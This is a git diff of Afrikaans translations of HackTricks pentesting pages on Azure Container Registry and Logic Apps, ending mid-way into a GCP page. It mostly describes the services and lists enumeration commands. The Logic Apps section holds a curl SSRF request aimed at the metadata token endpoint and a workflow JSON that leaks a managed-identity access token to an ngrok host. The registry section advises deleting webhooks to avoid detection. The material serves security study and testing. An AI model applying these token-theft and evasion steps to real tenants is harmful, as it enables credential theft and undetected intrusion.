- **Met 'n token**: Dit is moontlik om 'n **token** met 'n **spesifieke `scope map`** (toestemmings) te skep om toegang tot die registrasie te verkry. Dan, is dit moontlik om die naam van die token as gebruikersnaam en enige van die gegenereerde wagwoorde te gebruik om aan die registrasie te verifieer met `docker login -u <registry-name> -p <password> <registry-url>`
|
||||
- **Met 'n Dienshoof**: Dit is moontlik om 'n **dienshoof** te skep en 'n rol soos **`AcrPull`** toe te ken om beelde te trek. Dan sal dit moontlik wees om **in te log op die registrasie** met die SP appId as gebruikersnaam en 'n gegenereerde geheim as wagwoord.
|
||||
|
||||
Voorbeeldskrip van die [dokumentasie](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) om 'n SP te genereer met toegang oor 'n registrasie:
|
||||
@@ -67,21 +67,21 @@ Die **sagte-verwydering** kenmerk stel jou in staat om 'n **verwyderde registras
|
||||
|
||||
### Webhooks
|
||||
|
||||
Dit is moontlik om **webhooks** binne registrasies te **skep**. In hierdie webhook is dit nodig om die URL te spesifiseer waar 'n **versoek gestuur sal word wanneer 'n push of verwyder aksie uitgevoer word**. Boonop kan Webhooks 'n omvang aandui om die repositories (beelde) aan te dui wat geraak sal word. Byvoorbeeld, 'foo:\*' beteken gebeurtenisse onder die repository 'foo'.
|
||||
Dit is moontlik om **webhooks** binne registrasies te **skep**. In hierdie webhook is dit nodig om die URL te spesifiseer waar 'n **versoek gestuur sal word wanneer 'n druk of verwyder aksie uitgevoer word**. Boonop kan Webhooks 'n omvang aandui om die repositories (beelde) aan te dui wat geraak sal word. Byvoorbeeld, 'foo:\*' beteken gebeurtenisse onder die repository 'foo'.
|
||||
|
||||
Van 'n aanvaller se perspektief is dit interessant om dit te kontroleer **voor enige aksie** in die registrasie uitgevoer word, en dit tydelik te verwyder indien nodig, om te voorkom dat jy opgespoor word.
|
||||
|
||||
### Gekonnekteerde registrasies
|
||||
|
||||
Dit stel basies in staat om die **beelde** van een registrasie na 'n ander te **spieël**, gewoonlik geleë op-premises.
|
||||
Dit stel basies in staat om die **beelde** van een registrasie na 'n ander te **spieël**, gewoonlik geleë op die perseel.
|
||||
|
||||
Dit het 2 modi: **LeesSlegs** en **LeesSkryf**. In die eerste een, word die beelde slegs **getrek** van die bronregistrasie, en in die tweede een, kan beelde ook **gestoot** word na die bronregistrasie.
|
||||
|
||||
Ten einde kliënte toe te laat om toegang tot die registrasie vanaf Azure te verkry, word 'n **token** gegenereer wanneer die gekonnekteerde registrasie gebruik word.
|
||||
Om kliënte toe te laat om toegang tot die registrasie vanaf Azure te verkry, word 'n **token** gegenereer wanneer die gekonnekteerde registrasie gebruik word.
|
||||
|
||||
### Lopies & Take
|
||||
|
||||
Lopies & Take stel jou in staat om in Azure houer-verwante aksies uit te voer wat jy tipies lokaal of in 'n CI/CD-pyplyn nodig gehad het om te doen. Byvoorbeeld, jy kan **bou, stoot, en loop beelde in die registrasie**.
|
||||
Lopies & Take stel jou in staat om aksies rakende Azure houers uit te voer wat jy tipies lokaal of in 'n CI/CD-pyplyn nodig gehad het om te doen. Byvoorbeeld, jy kan **bou, druk, en loop beelde in die registrasie**.
|
||||
|
||||
Die maklikste manier om 'n houer te bou en te loop, is om 'n gewone Loop te gebruik:
|
||||
```bash
|
||||
@@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f
|
||||
# Run
|
||||
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
|
||||
```
|
||||
However, dit sal lopies aktiveer wat nie baie interessant is vanuit 'n aanvaller se perspektief nie, omdat hulle geen bestuurde identiteit aan hulle het nie.
|
||||
However, dit sal lopies aktiveer wat nie baie interessant is vanuit 'n aanvaller se perspektief nie, want hulle het geen bestuurde identiteit aan hulle geheg nie.
|
||||
|
||||
However, **tasks** kan 'n **system and user managed identity** aan hulle hê. Hierdie take is diegene wat nuttig is om **privileges te eskaleer** in die houer. In die privileges eskalering afdeling is dit moontlik om te sien hoe om take te gebruik om privileges te eskaleer.
|
||||
However, **tasks** kan 'n **stelsel en gebruiker bestuurde identiteit** aan hulle hê. Hierdie take is diegene wat nuttig is om **privileges te verhoog** in die houer. In die afdeling oor die verhoging van privileges is dit moontlik om te sien hoe om take te gebruik om privileges te verhoog.
|
||||
|
||||
### Cache
|
||||
|
||||
Die cache-funksie laat toe om **images van 'n eksterne repository af te laai** en die nuwe weergawes in die registrasie te stoor. Dit vereis dat daar 'n paar **credentials geconfigureer** moet word deur die credentials uit 'n Azure Vault te kies.
|
||||
Die cache-funksie laat toe om **beelde van 'n eksterne repository af te laai** en die nuwe weergawes in die registrasie te stoor. Dit vereis dat daar 'n paar **bewyse geconfigureer** moet word deur die bewese uit 'n Azure Vault te kies.
|
||||
|
||||
Dit is baie interessant vanuit 'n aanvaller se perspektief omdat dit toelaat om te **pivot na 'n eksterne platform** as die aanvaller genoeg regte het om toegang tot die credentials te verkry, **images van 'n eksterne repository af te laai** en die konfigurasie van 'n cache kan ook as 'n **persistence mechanism** gebruik word.
|
||||
Dit is baie interessant vanuit 'n aanvaller se perspektief omdat dit toelaat om te **pivot na 'n eksterne platform** as die aanvaller genoeg regte het om toegang tot die bewese te verkry, **beelde van 'n eksterne repository af te laai** en die konfigurasie van 'n cache kan ook as 'n **volhardingsmeganisme** gebruik word.
|
||||
|
||||
## Enumeration
|
||||
|
||||
> [!WARNING]
|
||||
> Dit is baie belangrik dat selfs al bevat die registrasie naam 'n paar hoofletters, jy moet slegs kleinletters in die url gebruik om toegang daartoe te verkry.
|
||||
> Dit is baie belangrik dat selfs al bevat die registrasienaam 'n paar hoofletters, jy moet slegs kleinletters in die url gebruik om toegang daartoe te verkry.
|
||||
```bash
|
||||
# List of all the registries
|
||||
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
|
||||
@@ -143,13 +143,19 @@ az acr cache list --registry <registry-name>
|
||||
# Get cache details
|
||||
az acr cache show --name <cache-name> --registry <registry-name>
|
||||
```
|
||||
## Ongeauthentiseerde Toegang
|
||||
|
||||
{{#ref}}
|
||||
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
|
||||
{{#endref}}
|
||||
|
||||
## Privilege Escalation & Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
../az-privilege-escalation/az-container-registry-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
|
||||
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)
|
||||
|
||||
@@ -4,101 +4,177 @@
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Azure Logic Apps is 'n wolk-gebaseerde diens wat deur Microsoft Azure verskaf word wat ontwikkelaars in staat stel om **werkvloei te skep en te bestuur wat verskeie dienste**, databronne en toepassings integreer. Hierdie werkvloei is ontwerp om **besigheidsprosesse te outomatiseer**, take te orkestreer en data-integrasies oor verskillende platforms uit te voer.
|
||||
Azure Logic Apps stel ontwikkelaars in staat om **werkvloei te skep en te bestuur wat verskeie dienste**, databasisse en toepassings integreer. Hierdie werkvloei is ontwerp om **besigheidsprosesse te outomatiseer**, take te orkestreer en data-integrasies oor verskillende platforms uit te voer.
|
||||
|
||||
Logic Apps bied 'n visuele ontwerper om werkvloei te skep met 'n **wye verskeidenheid voorafgeboude koppelvlakke**, wat dit maklik maak om te verbind met en te kommunikeer met verskeie dienste, soos Office 365, Dynamics CRM, Salesforce, en vele ander. Jy kan ook pasgemaakte koppelvlakke skep vir jou spesifieke behoeftes.
|
||||
Logic Apps bied 'n **visuele ontwerper** om werkvloei te skep met 'n **wye verskeidenheid voorafgeboude koppelvlakke**, wat dit maklik maak om met verskeie dienste te verbind en te kommunikeer:
|
||||
|
||||
Wanneer jy 'n Logic App skep, moet jy óf 'n eksterne stoorrekening skep of koppel wat die werkvloei-toestand, uitvoergeskiedenis en artefakte stoor. Hierdie stoor kan gekonfigureer word met diagnostiese instellings vir monitering en kan beveilig word met netwerktoegangbeperkings of in 'n virtuele netwerk geïntegreer word om inkomende en uitgaande verkeer te beheer.
|
||||
<figure><img src="../../../images/image (197).png" alt="https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png"><figcaption></figcaption></figure>
|
||||
|
||||
### Voorbeelde
|
||||
|
||||
- **Outomatisering van Data-pype**: Logic Apps kan **dataverskuiwing en -transformasieprosesse** outomatiseer in kombinasie met Azure Data Factory. Dit is nuttig om skaalbare en betroubare datapipes te skep wat data tussen verskeie datastores, soos Azure SQL Database en Azure Blob Storage, beweeg en transformeer, wat help met analise en besigheidsintelligensie-operasies.
|
||||
- **Integrasie met Azure Functions**: Logic Apps kan saam met Azure Functions werk om **gesofistikeerde, gebeurtenisgedrewe toepassings te ontwikkel wat soos nodig skaal** en naatloos met ander Azure-dienste integreer. 'n Voorbeeld van 'n gebruiksgeval is om 'n Logic App te gebruik om 'n Azure Function te aktiveer in reaksie op sekere gebeurtenisse, soos veranderinge in 'n Azure-stoorrekening, wat dinamiese dataverwerking moontlik maak.
|
||||
|
||||
### Visualiseer 'n LogicAPP
|
||||
|
||||
Dit is moontlik om 'n LogicApp met grafika te sien:
|
||||
|
||||
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
of om die kode in die "**Logic app kodeweergave**" afdeling te kontroleer.
|
||||
|
||||
### SSRF-beskerming
|
||||
|
||||
Selfs al vind jy die **Logic App kwesbaar vir SSRF**, sal jy nie in staat wees om die akrediteerbare inligting van die metadata te bekom nie, aangesien Logic Apps dit nie toelaat nie.
|
||||
|
||||
Byvoorbeeld, iets soos dit sal nie die token teruggee:
|
||||
```bash
|
||||
# The URL belongs to a Logic App vulenrable to SSRF
|
||||
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
|
||||
```
|
||||
### Hosting options
|
||||
### Gasheeropsies
|
||||
|
||||
Daar is verskeie gasheeropsies:
|
||||
|
||||
* **Consumption**
|
||||
- **Multi-tenant**: bied gedeelde rekenaarbronne, werk in die openbare wolk, en volg 'n betaal-per-operasie prysmodel. Dit is ideaal vir liggewig en kostedoeltreffende werklas. Dit ontplooi 'n "Single Workflow".
|
||||
* **Standard**
|
||||
- **Workflow Service Plan**: toegewyde rekenaarbronne met VNET-integrasie vir netwerking en hef per workflow service plan instansie. Dit is geskik vir meer veeleisende werklas wat groter beheer vereis.
|
||||
- **App Service Environment V3** toegewyde rekenaarbronne met volle isolasie en skaalbaarheid. Dit integreer ook met VNET vir netwerking en gebruik 'n prysmodel gebaseer op App Service instansies binne die omgewing.
|
||||
- **Hybrid** ontwerp vir plaaslike verwerking en multi-cloud ondersteuning. Dit laat kliënt-bestuurde rekenaarbronne met plaaslike netwerktoegang toe en gebruik Kubernetes Event-Driven Autoscaling (KEDA). Dit staat op 'n Container App Connected Environment.
|
||||
* **Verbruik**
|
||||
- **Multi-tenant**: Dit bied gedeelde rekenaarbronne, werk in die openbare wolk, en volg 'n betaal-per-operasie prysmodel. Dit is ideaal vir liggewig en kostedoeltreffende werklas. Dit is wat ons 'n "Enkele Werkvloei" sal noem.
|
||||
* **Standaard**
|
||||
- **Werkvloei Diensplan**: Dit bied toegewyde rekenaarbronne met VNET-integrasie vir netwerk en hef per werkvloei diensplan instansie. Dit is geskik vir meer veeleisende werklas wat groter beheer vereis.
|
||||
- **App Service Omgewing V3:** Dit bied toegewyde rekenaarbronne met volle isolasie en skaalbaarheid. Dit integreer ook met VNET vir netwerk en gebruik 'n prysmodel gebaseer op App Service instansies binne die omgewing.
|
||||
- **Hibriede:** Dit is ontwerp vir plaaslike verwerking en multi-wolk ondersteuning. Dit laat kliënt-bestuurde rekenaarbronne met plaaslike netwerktoegang toe en gebruik Kubernetes Event-Driven Autoscaling (KEDA). Dit staat op 'n Container App Connected Environment.
|
||||
|
||||
### Key Features
|
||||
- **Storage**: Logic Apps vereis 'n eksterne Azure Storage rekening om workflow toestand, uitvoering geskiedenis… te stoor en moet in dieselfde hulpbron groep wees as die Logic App.
|
||||
- **Networking & Security**: Logic Apps kan gekonfigureer word met openbare of private toegang. Standaard is die app oop vir die internet, maar kan geïntegreer word met 'n Azure Virtuele Netwerk vir geïsoleerde konnektiwiteit.
|
||||
- **Application Insights**: Toepassing Prestasie Bestuur (APM) deur Azure Monitor Application Insights kan geaktiveer word om prestasie te volg, anomalieë te ontdek, en analise te verskaf.
|
||||
- **Access Control**: Logic apps ondersteun Stelsel Bestuurde Identiteite & Gebruiker Bestuurde Identiteite.
|
||||
## "Enkele" Werkvloei / Verbruikplan
|
||||
|
||||
### "Single" Workflows
|
||||
'n **werkvloei** is 'n gestruktureerde volgorde van outomatiese stappe of take wat 'n spesifieke proses of doelwit uitvoer. Dit definieer hoe verskillende aksies, voorwaardes en besluite met mekaar interaksie het om 'n gewenste uitkoms te bereik, wat operasies stroomlyn en handmatige moeite verminder.
|
||||
|
||||
'n **workflow** is 'n gestruktureerde volgorde van geoutomatiseerde stappe of take wat 'n spesifieke proses of doelwit uitvoer. Dit definieer hoe verskillende aksies, toestande, en besluite met mekaar interaksie het om 'n gewenste uitkoms te bereik, wat operasies stroomlyn en handmatige moeite verminder. Workflows kan verskeie stelsels integreer, gebeurtenisse en reëls ontketen, en verseker konsekwentheid en doeltreffendheid in prosesse.
|
||||
> [!TIP]
|
||||
> Die Verbruikplan laat **die skep van 'n enkele werkvloei sonder die behoefte aan 'n Logic App** self toe.
|
||||
|
||||
Azure Logic apps bied die funksionaliteit van **die skep van 'n enkele workflow sonder die behoefte aan 'n Logic App** self.
|
||||
### Triggers & Aksies
|
||||
|
||||
Elke workflow het verskillende **triggers**. Hierdie triggers is die stappe wat die workflow volg. Elke trigger het sy parameters wat kan wissel, afhangende van die tipe van die trigger:
|
||||
- Verbinding naam
|
||||
- **Authentication Type** wat kan wees, Toegang Sleutel, Microsoft Entra ID, Geïntegreerde Diens hoofverifikasie en Logic Apps Bestuurde Identiteit.
|
||||
Werkvloei triggers dui aan **wanneer die werkvloei moet begin**. Triggers kan 'n HTTP-eindpunt, 'n skedule, of tientalle verskillende gebeurtenisse van Azure of selfs eksterne toepassings wees.
|
||||
|
||||
Triggers het ook verskeie instellings:
|
||||
- Schema Validasie: Verseker dat inkomende data 'n vooraf gedefinieerde struktuur volg.
|
||||
- Gelyktydigheidsbeheer: Beperk die aantal parallelle uitvoerings.
|
||||
- Trigger Voorwaardes: voorwaardes wat nagekom moet word voordat die trigger afgevuur word.
|
||||
- Networking: Konfigureer stukgrootte vir datatransfer en laat toe om workflow koptekste in antwoorde te onderdruk.
|
||||
- **Security**: Maak **Veilige Insette/Uitsette moontlik om** sensitiewe data in logs en die uitsette te verberg.
|
||||
Elke werkvloei het verskillende **aksies**. Hierdie aksies is die stappe wat die werkvloei volg. Afhangende van die aksie sal verskillende parameters beskikbaar wees om dit te konfigureer, soos:
|
||||
|
||||
**Settings & API Conections:**
|
||||
- **Verbindingsnaam**: Verbinding om te gebruik waarmee die aksie sal interaksie hê.
|
||||
- **Outentikasietipe:** Die verskillende opsies is Toegang Sleutel, Microsoft Entra ID, Geïntegreerde Dienshoof outentikasie en Logic Apps Beheerde Identiteit.
|
||||
- Vanuit 'n Lees-Alleen perspektief is die **Outentikasie** data altyd interessant aangesien dit sensitiewe inligting kan bevat.
|
||||
- Vanuit 'n Skryf perspektief is die **Outentikasie** data altyd interessant aangesien dit die gebruik van die toestemmings van die toegewyde bestuurde identiteite kan toelaat.
|
||||
- ...
|
||||
|
||||
'n workflow het verskillende instellings soos:
|
||||
- Toegelate inkomende IP adresse: Hierdie instelling laat jou toe om te beperk wie jou Logic App kan trigger of begin. Die opsies is Enige IP, Slegs ander Logic Apps en Spesifieke IP reeks.
|
||||
- Integrasie rekening: Hier kan jy jou Logic App aan 'n Integrasie Rekening koppel.
|
||||
- Hoë deurset: Hierdie instelling stel jou Logic App in staat om meer versoeke vinnig te hanteer.
|
||||
- Uitvoering geskiedenis behoud: vir hoe lank die geskiedenis van jou Logic App se uitvoerings gehou word.
|
||||
Aksies het ook verskeie **instellings**, wat afhang van die aksie self. Sommige van die mees algemene instellings is:
|
||||
|
||||
Jy kan die verskillende API verbindings wat die workflow het, sien. Binne elkeen van hierdie verbindings het hulle verskillende eienskappe en die moontlikheid om die API verbinding te wysig waar die Verifikasietipe verander kan word.
|
||||
- **Hernuwingsbeleid**: Konfigureer die aantal hernuwing en die interval tussen hulle.
|
||||
- **Tydsduur**: Stel die maksimum tyd in wat die aksie kan loop voordat dit tydsduur.
|
||||
- **Voer Uit Na**: Spesifiseer die voorwaardes wat nagekom moet word voordat die aksie loop.
|
||||
- **Schema Validasie**: Verseker dat inkomende data 'n vooraf gedefinieerde struktuur volg.
|
||||
- **Netwerk**: Konfigureer hoe om verskillende koptekste te bestuur.
|
||||
- **Veilige Insette/Uitsette**: Dit sal inset/uitset data van die loopgeskiedenis verberg.
|
||||
- ...
|
||||
|
||||
**History & Versions:**
|
||||
Dit het die opsie om toegang te verkry tot die **geskiedenis** van die verskillende uitvoerings, dit wys, Instellings, Uitset, Parameters en die Kode.
|
||||
### Outorisering Beleide
|
||||
|
||||
Dit het ook die opsie om toegang te verkry tot verskillende **weergawe** van die workflow, waar jy die kode kan nagaan en die huidige workflow met 'n ouer weergawe daarvan kan verander.
|
||||
|
||||
**Authorization:**
|
||||
Azure Logic Apps ondersteun **autorisering beleid** met Entra ID om versoek-gebaseerde triggers te beveilig deur 'n geldige toegangstoken te vereis. Hierdie token moet spesifieke aansprake insluit:
|
||||
Hierdie werkvloei ondersteun **outorisering beleide** met Entra ID om versoek-gebaseerde triggers te beveilig deur 'n geldige toegangstoken te vereis. Hierdie token moet spesifieke aansprake insluit:
|
||||
- Uitgever (iss) om die identiteitsverskaffer te verifieer
|
||||
- Publiek (aud) om te verseker dat die token bedoel is vir die Logic App
|
||||
- Onderwerp (sub) om die oproeper te identifiseer
|
||||
- JWT ID (JSON Web Token identifiseerder)
|
||||
- Aangepaste Aanspraak
|
||||
|
||||
Wanneer 'n versoek ontvang word, valideer Logic Apps die token teen hierdie aansprake en laat uitvoering toe slegs as hulle ooreenstem met die geconfigureerde beleid. Dit kan gebruik word om 'n ander tenant toe te laat om die workflow te trigger of om die trigger van ander bronne te weier, byvoorbeeld net die trigger toe te laat as dit van https://login.microsoftonline.com/ kom.
|
||||
Wanneer 'n versoek ontvang word, valideer Logic Apps die token teen hierdie aansprake en laat uitvoering toe slegs as hulle ooreenstem met die geconfigureerde beleid. Dit kan gebruik word om 'n ander tenant toe te laat om die werkvloei te aktiveer of om die aktivering van ander bronne te weier, byvoorbeeld net die aktivering toe te laat as dit van https://login.microsoftonline.com/ kom.
|
||||
|
||||
**Access Keys:**
|
||||
Wanneer jy 'n versoek-gebaseerde trigger vir die eerste keer stoor, skep Logic Apps outomaties 'n unieke eindpunt met 'n SAS-handtekening (gecreëer van die Toegang Sleutel) wat toestemming gee om die workflow aan te roep. Hierdie SAS-handtekening is ingebed in die trigger se URL. Hierdie sleutel kan weer gegenereer word en dit sal 'n nuwe SAS-handtekening gee, maar die sleutels kan nie gelys word nie.
|
||||
### Toegang Sleutels
|
||||
|
||||
Die URL om dit met die Toegang Sleutel aan te roep:
|
||||
Werkvloei **genereer 2 toegang sleutels** wanneer hulle geskep word. Hierdie sleutels word gebruik om versoeke aan die werkvloei te outentiseer en te autoriseer. Die sleutels word gebruik om 'n Gedeelde Toegang Handtekening (SAS) token te genereer, wat in die versoek-URL ingesluit word.
|
||||
|
||||
So, wanneer 'n HTTP-eindpunt trigger geskep word, word 'n **unieke HTTP-eindpunt met 'n SAS-handtekening** wat toestemming gee om die werkvloei aan te roep, gegenereer.
|
||||
|
||||
Hierdie **sleutels kan hergegenereer** word en 'n nuwe SAS-URL sal vir hierdie triggers geskep word, maar die **sleutelwaardes kan nie toegang verkry word** nie.
|
||||
|
||||
Voorbeeld van 'n SAS-URL om 'n trigger aan te roep:
|
||||
```
|
||||
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
|
||||
```
|
||||
### Werkvloei Instellings & Komponente
|
||||
|
||||
### Enumeration
|
||||
- **Trigger toegang opsie**: Hierdie instelling laat jou toe om te beperk wie jou werkvloei kan trigger of begin. Die opsies is Enige IP, Slegs ander werkvloei en Spesifieke IP-reekse.
|
||||
- **Integrasie rekening**: Koppel jou werkvloei aan 'n Integrasie Rekening.
|
||||
- **Hoë deurset**: As aangeskakel, laat dit toe om meer versoeke vinnig parallel te hanteer.
|
||||
- **Lopende geskiedenis behoud**: Dit dui die aantal dae aan om lopende geskiedenis te hou.
|
||||
- **API verbindings**: Dit wys die verskillende API verbindings wat die werkvloei het. Binne elkeen van hierdie verbindings het hulle verskillende eienskappe en die moontlikheid om die API verbinding te wysig waar die Verifikasie tipe verander kan word.
|
||||
- **Geskiedenis**: Dit het die opsie om toegang te verkry tot **geskiedenis** van ou uitvoerings en data te verkry: Instellings, Uitset, Parameters en die Kode.
|
||||
- **Weergawes**: Dit het die opsie om toegang te verkry tot verskillende **weergawes** van die werkvloei, waar jy die kode kan nagaan en die huidige werkvloei met 'n ouer weergawe daarvan kan verander.
|
||||
- **Geregeerde Identiteite**: Dit is moontlik om 1 stelsel geregeerde identiteit en bediener gebruiker geregeerde identiteit aan die werkvloei toe te ken.
|
||||
|
||||
### Lek MI toegangstokens
|
||||
|
||||
Die HTTP aksie in 'n werkvloei kan gebruik word om data na 'n eksterne web te stuur. In die **Geavanceerde parameters** van die HTTP aksie, is dit moontlik om die **Verifikasie Tipe** as **`Geregeerde identiteit`** te konfigureer en dan die **toegeken Geregeerde Identiteit** te kies om te gebruik (stelsel of gebruiker).
|
||||
|
||||
Boonop is dit moontlik om in die **`Audience`** die gehoor van die gegenereerde JWT aan te dui, wat byvoorbeeld **`https://management.azure.com/`** kan wees om die gegenereerde token te gebruik om toegang tot die Azure bestuur API te verkry.
|
||||
|
||||
> [!WARNING]
|
||||
> Deur die aksie te laat die HTTP versoek na 'n bediener wat deur 'n aanvaller beheer word, is dit moontlik om die **toegangstoken van die geregeerde identiteit** wat aan die werkvloei toegeken is, te **lek**.
|
||||
|
||||
> [!TIP]
|
||||
> 'n Aanvaller kan ook ander tipe aksies gebruik om **direk toegang tot ander Azure dienste** te verkry en aksies uit te voer met die regte van die geregeerde identiteit.
|
||||
|
||||
Dit is die kode van 'n werkvloei wat 'n HTTP eindpunt blootstel en dan 'n HTTP aksie gebruik om die toegangstoken na die geconfigureerde URL (ngrok in hierdie geval) te lek:
|
||||
|
||||
<details>
|
||||
<summary>Werkvloei kode</summary>
|
||||
```json
|
||||
{
|
||||
"definition": {
|
||||
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
|
||||
"contentVersion": "1.0.0.0",
|
||||
"triggers": {
|
||||
"When_a_HTTP_request_is_received": {
|
||||
"type": "Request",
|
||||
"kind": "Http"
|
||||
}
|
||||
},
|
||||
"actions": {
|
||||
"HTTP": {
|
||||
"runAfter": {},
|
||||
"type": "Http",
|
||||
"inputs": {
|
||||
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
|
||||
"method": "GET",
|
||||
"authentication": {
|
||||
"type": "ManagedServiceIdentity",
|
||||
"audience": "https://management.azure.com/"
|
||||
}
|
||||
},
|
||||
"runtimeConfiguration": {
|
||||
"contentTransfer": {
|
||||
"transferMode": "Chunked"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"outputs": {},
|
||||
"parameters": {
|
||||
"$connections": {
|
||||
"type": "Object",
|
||||
"defaultValue": {}
|
||||
}
|
||||
}
|
||||
},
|
||||
"parameters": {
|
||||
"$connections": {
|
||||
"type": "Object",
|
||||
"value": {}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
## Logika Apps / Standaard Plan
|
||||
|
||||
### Verskille met "Enkel" Werkvloei
|
||||
|
||||
Logika apps gebruik basies 'n App-diens in die agtergrond om **die logika-app te huisves wat verskeie werkvloei kan huisves**. Dit beteken dat die logika-app al die kenmerke van 'n App-diens en van die "Enkel" Werkvloei sal hê.
|
||||
|
||||
Sommige sleutelkenmerke sal wees:
|
||||
|
||||
- **App-diensplan**: Logika Apps in die Standaard plan word op 'n App-diensplan gehost, so dit is moontlik om al die App-diens kenmerke te gebruik soos:
|
||||
- **Netwerkbeperkings**: Gee aan van waar dit toeganklik is.
|
||||
- **Ontplooiingsentrum**: Ontplooi vanaf eksterne platforms soos Github, Bitbucket, Azure Repos, Eksterne Git en Plaaslike Git.
|
||||
- **FTP-toegang**: Dit is moontlik om toegang te verkry tot die lêers van die Logika App deur FTP.
|
||||
- **Stoorrekening**: Die diensapp gebruik 'n stoorrekening om inligting te stoor.
|
||||
- **Omgewing veranderlikes & App-instellings**: Dit is moontlik om omgewing veranderlikes en app-instellings te konfigureer (en sensitiewe inligting soos toegangsleutels tot die stoorrekening te vind).
|
||||
- ...
|
||||
- **Parameters**: Parameters laat jou toe om waardes te bestuur wat oor ontwikkeling, toets en produksie wissel. Dit stel jou in staat om werkvloei eers te ontwerp, en dan maklik omgewing-spesifieke instellings later aan te pas.
|
||||
- **Toegewydes Hulpbronne**: Logika Apps in die Standaard plan het toegewydes hulpbronne.
|
||||
- **Meervoudige Werkvloei**: Dit laat jou toe om meervoudige werkvloei te skep.
|
||||
|
||||
Vir meer inligting oor App-dienste kyk:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-app-services.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
### Enumerasie
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -203,19 +279,17 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
|
||||
|
||||
### Integrasie Rekeninge
|
||||
## Integrasie Rekeninge
|
||||
**Integrasie Rekeninge** is 'n kenmerk van Azure Logic Apps. Integrasie Rekeninge word gebruik om ondernemingsvlak integrasies te fasiliteer deur gevorderde B2B vermoëns, soos EDI, AS2, en XML skema bestuur, moontlik te maak. Integrasie Rekeninge is 'n houer in Azure wat die volgende artefakte stoor wat vir Logic Apps gebruik word:
|
||||
|
||||
* Skemas: Bestuur XML skemas vir die validering en verwerking van boodskappe in jou integrasie rekening.
|
||||
* Kaarte: Konfigureer XSLT-gebaseerde transformasies om dataformate binne jou integrasie werksvloei te omskep.
|
||||
* Versamelings: Bestuur integrasie rekening versamelings om logika en dataverwerking te stroomlyn.
|
||||
* Sertifikate: Hanteer sertifikate vir die enkripsie en ondertekening van boodskappe, wat veilige kommunikasie verseker.
|
||||
* Vennootskappe: Bestuur handelsvennoot inligting vir B2B transaksies, wat naatlose integrasies moontlik maak.
|
||||
* Ooreenkomste: Konfigureer reëls en instellings vir die uitruil van data met handelsvennote (bv. EDI, AS2).
|
||||
* Batch Konfigurasies: Bestuur batch verwerking konfigurasies om boodskappe doeltreffend te groepeer en te verwerk.
|
||||
* RosettaNet PIP: Konfigureer RosettaNet Vennoot Koppelvlak Prosesse (PIPs) om B2B kommunikasie te standaardiseer.
|
||||
* **Skemas**: Bestuur XML skemas vir die validering en verwerking van boodskappe in jou integrasie rekening.
|
||||
* **Kaarte**: Konfigureer XSLT-gebaseerde transformasies om data formate binne jou integrasie werksvloei te omskep.
|
||||
* **Versamelings**: Bestuur integrasie rekening versamelings om logika en data verwerking te stroomlyn.
|
||||
* **Sertifikate**: Hanteer sertifikate vir die enkriptering en ondertekening van boodskappe, wat veilige kommunikasie verseker.
|
||||
* **Vennootskappe**: Bestuur handelsvennoot inligting vir B2B transaksies, wat naatlose integrasies moontlik maak.
|
||||
* **Ooreenkomste**: Konfigureer reëls en instellings vir die uitruil van data met handelsvennote (bv. EDI, AS2).
|
||||
* **Batch Konfigurasies**: Bestuur batch verwerking konfigurasies om boodskappe doeltreffend te groepeer en te verwerk.
|
||||
* **RosettaNet PIP**: Konfigureer RosettaNet Vennoot Koppelvlak Prosesse (PIPs) om B2B kommunikasie te standaardiseer.
|
||||
|
||||
#### Enumerasie
|
||||
|
||||
@@ -331,4 +405,10 @@ Dieselfde as logika-apps privesc:
|
||||
../az-post-exploitation/az-logic-apps-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-logic-apps-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -15,21 +15,25 @@ Organization
|
||||
```
|
||||
'n Virtuele masjien (genoem 'n Compute Instance) is 'n hulpbron. 'n Hulpbron woon in 'n projek, waarskynlik langs ander Compute Instances, stoor emmers, ens.
|
||||
|
||||
